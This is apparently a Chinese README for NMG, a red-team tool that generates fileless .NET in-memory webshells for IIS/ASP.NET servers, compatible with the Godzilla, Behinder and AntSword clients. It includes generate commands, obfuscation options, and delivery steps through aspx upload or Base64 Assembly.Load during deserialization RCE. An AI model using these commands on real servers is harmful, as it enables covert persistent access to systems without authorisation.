
生成参数化的 .NET 内存 Shell 载荷(VPP、MVC 路由、HttpListener),兼容 Godzilla、Behinder 和 AntSword 客户端,用于红队测试。
参数化 .NET 内存马生成器 | 红队 / 安全测试 | .NET 版的 JMG 等价工具
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG 生成参数化的 .NET 内存马 payload,可注入到 IIS/ASP.NET 应用程序中,而不会在磁盘上留下文件。注入后,你使用现有的 webshell 管理器(Godzilla / Behinder / AntSword)进行连接——NMG 只负责让服务器端正常工作。
可以这样理解:输入参数 -> 编译 payload -> 注入 -> 使用客户端连接
| 类型 | 目标 | .NET Framework | 触发点 |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | 独立/SYSTEM | 2.0+ | HttpListener(独立于 IIS) |
| 协议 | 客户端 | 加密 | 已验证 |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128(key=MD5(pass+key)[0:16]) | ✅ 端到端 |
behinder | Behinder 4.x | AES-128(key=MD5(pass)[0:16] 原始字节) | ✅ 端到端 |
antsword | AntSword | Base64 | ✅ 端到端 |
| 格式 | 使用场景 |
|---|---|
aspx | 上传到可写目录,访问一次以完成注入 |
b64 | 用于通过反序列化/表达式注入进行 RCE 投递 |
dll | 用于自定义加载器的原始 DLL |
| 命令 | 用途 |
|---|---|
generate | 生成内存马 payload |
probe | 生成环境检测 aspx(报告 CLR/信任级别/MVC/VPP) |
version | 显示版本 |
help | 显示用法 |
内置 Web 界面,采用 Inset Dark 主题(Linear 风格极简主义):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
方法 1 — ASPX 注入器:
.aspx 文件上传到目标上任意可写目录Assembly.Load + VPP 注册).aspx/.ashx/.asmx方法 2 — Base64(RCE 投递): 在任意代码执行点执行:
Assembly.Load(Convert.FromBase64String("<payload>"))
上传生成的 probe.aspx 并访问一次。它会返回包含以下内容的 JSON:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
用它来确定使用哪种内存 shell 类型和协议。
ASP.xxx_aspx+ClassName 检测dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT